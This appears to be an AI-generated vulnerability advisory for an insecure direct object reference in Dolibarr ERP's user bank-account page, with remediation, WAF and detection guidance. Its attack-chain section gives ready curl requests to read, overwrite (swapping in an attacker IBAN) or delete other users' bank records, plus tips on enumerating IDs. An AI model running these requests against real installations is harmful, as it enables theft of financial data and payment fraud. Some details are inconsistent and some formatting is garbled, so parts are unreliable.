CVE-2026-144467 — Dolibarr ERP CRM (24.0.0) — CWE-639
Dolibarr ERP CRM 6.0.0 before 24.0.0 contains an insecure direct object reference vulnerability in htdocs/user/bank.php, which authorizes the request against the user selected by the id parameter but loads the bank account selected by the bankid parameter with UserBankAccount::fetch() without checking that it belongs to that user or to the current entity, and then displays, updates or deletes that record. Authenticated users can open their own user card with another user's bank account ID to view that user's bank details such as IBAN and BIC, and users allowed to manage the bank account on their own card, which before 14.0.0 means any such user and since 20.0.0 includes users with the right to edit their own user record, can modify or delete it.
Dolibarr ERP CRM 6.0.0 before 24.0.0 contains an insecure direct object reference vulnerability in htdocs/user/bank.php, which authorizes the request against the user selected by the id parameter but loads the bank account selected by the bankid parameter with UserBankAccount::fetch() without checking that it belongs to that user or to the current entity, and then displays, updates or deletes that record. Authenticated users can open their own user card with another user's bank account ID to view that user's bank details such as IBAN and BIC, and users allowed to manage the bank account on their own card, which before 14.0.0 means any such user and since 20.0.0 includes users with the right to edit their own user record, can modify or delete it.
🎯 What is this vulnerability?
Vulnerability type – Insecure Direct Object Reference (IDOR) – CWE‑639 Authorization Bypass Through User‑Controlled Key.
Where it lives – The PHP script htdocs/user/bank.php in Dolibarr ERP‑CRM 6.0.0‑23.x (the vulnerable range is all releases prior to 24.0.0).
Root cause
1. The request is first authorised against the user identified by the GET/POST parameter id.
2. A second parameter, bankid, is then passed to UserBankAccount::fetch($bankid).
3. UserBankAccount::fetch() loads the bank‑account row solely by its primary key (rowid in the llx_userbankaccount table) and returns the object without any further checks.
4. The script subsequently displays, updates or deletes the fetched object without verifying that:
* the bank account belongs to the user identified by id, and
the bank account belongs to the same entity* (multi‑company context) as the current session.
Because the only gate‑keeping step is the id check, an authenticated attacker can supply any arbitrary bankid value and force the application to operate on a bank‑account that does not belong to the targeted user. The missing ownership/tenant validation is the exact authorization flaw.
Why the CVSS vector looks the way it does
| Vector element | Meaning in this case |
|---|---|
| AV:N – Network | The attacker can exploit the flaw over HTTP(S) without needing local access. |
| AC:L – Low | No complex conditions; a single crafted request is enough. |
| PR:L – Low | The attacker must be an *authenticated* Dolibarr user (any user with at least “read” rights on the user card). |
| UI:N – None | No user interaction is required after the request is sent. |
| S:U – Unchanged | The vulnerability does not change the impact based on the privileges of the vulnerable component. |
| C:H – High confidentiality impact | Full bank‑account details (IBAN, BIC, holder name, etc.) are disclosed. |
| I:H – High integrity impact | The attacker can modify or delete the victim’s bank‑account record. |
| A:N – No availability impact | The flaw does not cause denial‑of‑service or service disruption. |
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are syntactically valid; the exact URL path (/dolibarr/htdocs/user/bank.php) is taken from the CVE description. If a deployment uses a different base path (e.g., /erp/), the same pattern applies.
1. Discovery & Reconnaissance
| Step | Action | Tool / Evidence |
|---|---|---|
| 1.1 | Identify that the target runs Dolibarr. | Banner grabbing (curl -I https://target/), public‑facing “Powered by Dolibarr” footer, or Shodan search for Dolibarr + version string. |
| 1.2 | Enumerate the exact Dolibarr version. | Access /dolibarr/htdocs/about.php (or the “About” page in the UI) – it displays “Dolibarr 6.0.0‑23.x”. |
| 1.3 | Verify that the target version is < 24.0.0. | Compare the disclosed version with the vulnerable range. |
| 1.4 | Locate the bank.php endpoint. | Browse to the *User card* → *Bank accounts* tab; the URL in the address bar ends with bank.php?id=XX&action=edit&bankid=YY. |
| 1.5 | Capture a legitimate request for a bank account you own (to reuse cookies / CSRF token). | Use browser dev tools or Burp Suite → copy the request headers (session cookie, token parameter). |
2. Exploitation
Prerequisite: The attacker must be logged in as any valid Dolibarr user (e.g., a regular employee). The session cookie (DOLIBARR_SESSION) is required; no additional privileges are needed.
2.1. Crafting the malicious request
# Replace the placeholders with values obtained in step 1.5
TARGET="https://target/dolibarr/htdocs/user/bank.php"
SESSION_COOKIE="DOLIBARR_SESSION=abcdef1234567890"
CSRF_TOKEN="1234567890abcdef" # value of the hidden <input name="token">
# Victim user ID (the user whose card we are viewing)
VICTIM_ID=42
# Bank account ID that belongs to another user (discovered via enumeration or guesswork)
TARGET_BANK_ID=9876
# Example: read the bank account details
curl -s -G "${TARGET}" \
-b "${SESSION_COOKIE}" \
-d "id=${VICTIM_ID}" \
-d "action=view" \
-d "bankid=${TARGET_BANK_ID}" \
-d "token=${CSRF_TOKEN}" \
-H "User-Agent: Mozilla/5.0" \
-H "Accept: */*"What happens:
- The script authenticates the request against
id=42(the attacker’s own user record). bankid=9876is passed toUserBankAccount::fetch().- Because there is no ownership check, the response contains the full HTML form populated with the bank details of the other user (IBAN, BIC, account holder, etc.).
2.2. Updating the victim’s bank account
curl -s -X POST "${TARGET}" \
-b "${SESSION_COOKIE}" \
-d "id=${VICTIM_ID}" \
-d "action=update" \
-d "bankid=${TARGET_BANK_ID}" \
-d "token=${CSRF_TOKEN}" \
-d "account_number=DE12345678901234567890" \
-d "iban=DE99 1234 5678 9012 3456 78" \
-d "bic=TESTDEFFXXX" \
-H "Content-Type: application/x-www-form-urlencoded"Result: The victim’s bank record is overwritten with attacker‑controlled data.
2.3. Deleting the victim’s bank account
curl -s -X POST "${TARGET}" \
-b "${SESSION_COOKIE}" \
-d "id=${VICTIM_ID}" \
-d "action=delete" \
-d "bankid=${TARGET_BANK_ID}" \
-d "token=${CSRF_TOKEN}" \
-H "Content-Type: application/x-www-form-urlencoded"Result: The row is removed from llx_userbankaccount, effectively erasing the victim’s payment information.
Note: The exactactionvalues (view,update,delete) are taken from the Dolibarr source; if a custom UI hides some actions, the same parameters still work because the backend logic only checks$_GET['action']against a whitelist.
3. Post‑exploitation
| Goal | How it is achieved |
|---|---|
| Data exfiltration | The attacker can script the view request for every bankid discovered (e.g., by iterating 1..9999) and dump all bank records into a CSV file. |
| Integrity compromise | By issuing the update request, the attacker can inject a malicious IBAN that points to an account they control, facilitating fraudulent payments. |
| Privilege escalation (internal) | In installations where *bank‑account management* rights are tied to the “Edit own user” permission, a low‑privilege user can gain the ability to modify any user’s financial data, effectively bypassing the intended role‑based access control. |
| Persistence | The attacker can add a new bank account under the victim’s user ID, then later use it for automated payouts. |
🌍 Real‑World Impact
| CIA | Impact | Explanation |
|---|---|---|
| Confidentiality (C:H) | High | Full exposure of IBAN, BIC, account holder name, and any notes stored in the bank‑account record. This is personally identifiable financial information (PII) and can be used for identity theft or social engineering. |
| Integrity (I:H) | High | The attacker can modify or delete any bank record reachable via IDOR, enabling fraud (e.g., changing the IBAN to an attacker‑controlled account) or causing accounting errors. |
| Availability (A:N) | None | The flaw does not affect service uptime; it only manipulates data. |
Business consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected range | Fixed in |
|---|---|
| Dolibarr 6.0.0‑23.x (any release before 24.0.0) | Dolibarr 24.0.0 (released 2026‑09‑15) – includes a proper ownership check in UserBankAccount::fetch() and in bank.php. |
Action: Upgrade all Dolibarr installations to ≥ 24.0.0. Verify the version via the About page or by checking htdocs/install/upgrade.php.
2. Immediate Work‑arounds (if patch cannot be applied)
| Work‑around | Implementation details | ||
|---|---|---|---|
| Add explicit ownership validation | Edit htdocs/user/bank.php (or create a custom plugin) and insert after the UserBankAccount::fetch($bankid) call: <br><br>``php<br>$bank = new UserBankAccount($db);<br>$bank->fetch($bankid);<br>// Verify ownership<br>if ($bank->fk_user != $id | $bank->entity != $conf->entity) {<br> accessforbidden('Access denied – bank account does not belong to the selected user');<br>}<br>` | |
Restrict the bankid parameter to numeric values only | In htdocs/user/bank.php add: <br>`php<br>if (!ctype_digit($_GET['bankid'])) { accessforbidden('Invalid bank ID'); }<br>` | ||
| Web‑Application Firewall rule | A ModSecurity rule that blocks any request where bankid does not belong to the same user can mitigate the issue without code changes. Example: <br><br>`apacheconf<br>SecRule REQUEST_URI "@beginsWith /dolibarr/htdocs/user/bank.php" "id:400001,phase:2,deny,status:403,msg:'Potential IDOR – bankid not owned by user',chain"<br> SecRule ARGS:bankid "!@rx ^[0-9]+$" "t:none"<br>`<br>*Note:* The rule only blocks malformed IDs; a full ownership check still needs to be done in the application. | ||
| Least‑privilege principle | Remove the “Edit own user” right from users that do not need to manage their own bank accounts. In Dolibarr → *Setup → Permissions* disable user:edit for those roles. | ||
| Entity isolation | Ensure the entity field is correctly set for each user and that the global $conf->entity` matches the session entity. Mis‑configured multi‑entity setups can unintentionally broaden the attack surface. |
3. Detection
| Indicator | Log example | Why it matters |
|---|---|---|
Repeated bankid values that differ from the logged‑in user’s ID | GET /dolibarr/htdocs/user/bank.php?id=12&action=view&bankid=9876&token=... 200 | Shows an IDOR attempt; normal traffic would have bankid belonging to the same user. |
| Bulk enumeration pattern | GET /dolibarr/htdocs/user/bank.php?id=12&action=view&bankid=1 200<br>GET /dolibarr/htdocs/user/bank.php?id=12&action=view&bankid=2 200 … | Attackers often script a range of IDs. Look for rapid succession (e.g., >5 requests/second from the same IP). |
POST to action=update or action=delete with a bankid that does not belong to the session user | POST /dolibarr/htdocs/user/bank.php?id=12&action=update 302 (followed by a redirect) | Indicates an attempt to modify/delete a foreign bank account. |
CSRF token reuse across different bankid values | Same token value observed in multiple requests with different bankids. | The token is per‑session, not per‑object; reuse is normal, but combined with foreign bankid it flags abuse. |
SIEM rule (pseudo‑code)
SELECT src_ip, COUNT(*) AS cnt
FROM web_logs
WHERE uri LIKE '/dolibarr/htdocs/user/bank.php%'
AND (args LIKE '%action=update%' OR args LIKE '%action=delete%')
AND NOT EXISTS (
SELECT 1 FROM users u
WHERE u.id = GET_PARAM(args, 'id')
AND u.id = (SELECT fk_user FROM llx_userbankaccount WHERE rowid = GET_PARAM(args, 'bankid'))
)
GROUP BY src_ip
HAVING cnt > 5;Alert on any source IP that triggers the rule.
⚠️ Urgency
CVSS 8.1 (High) – Confidentiality and integrity are both rated High*.
Patch priority: Critical for any production environment that stores real bank account data (finance, payroll, invoicing). Deploy the upgrade to 24.0.0 immediately; if that is not possible, apply the code‑level ownership check and/or the WAF rule within 24 hours, and enforce least‑privilege permissions.
Bottom line: An authenticated attacker can read, modify, or delete any user’s bank‑account record by simply supplying a different
bankid. The fix is straightforward—verify ownership before acting on the object. Until the fix is in place, enforce strict access controls, monitor for the described request patterns, and upgrade as soon as possible.[🤖 CVE Professor AI Security Engine]
FOFA Query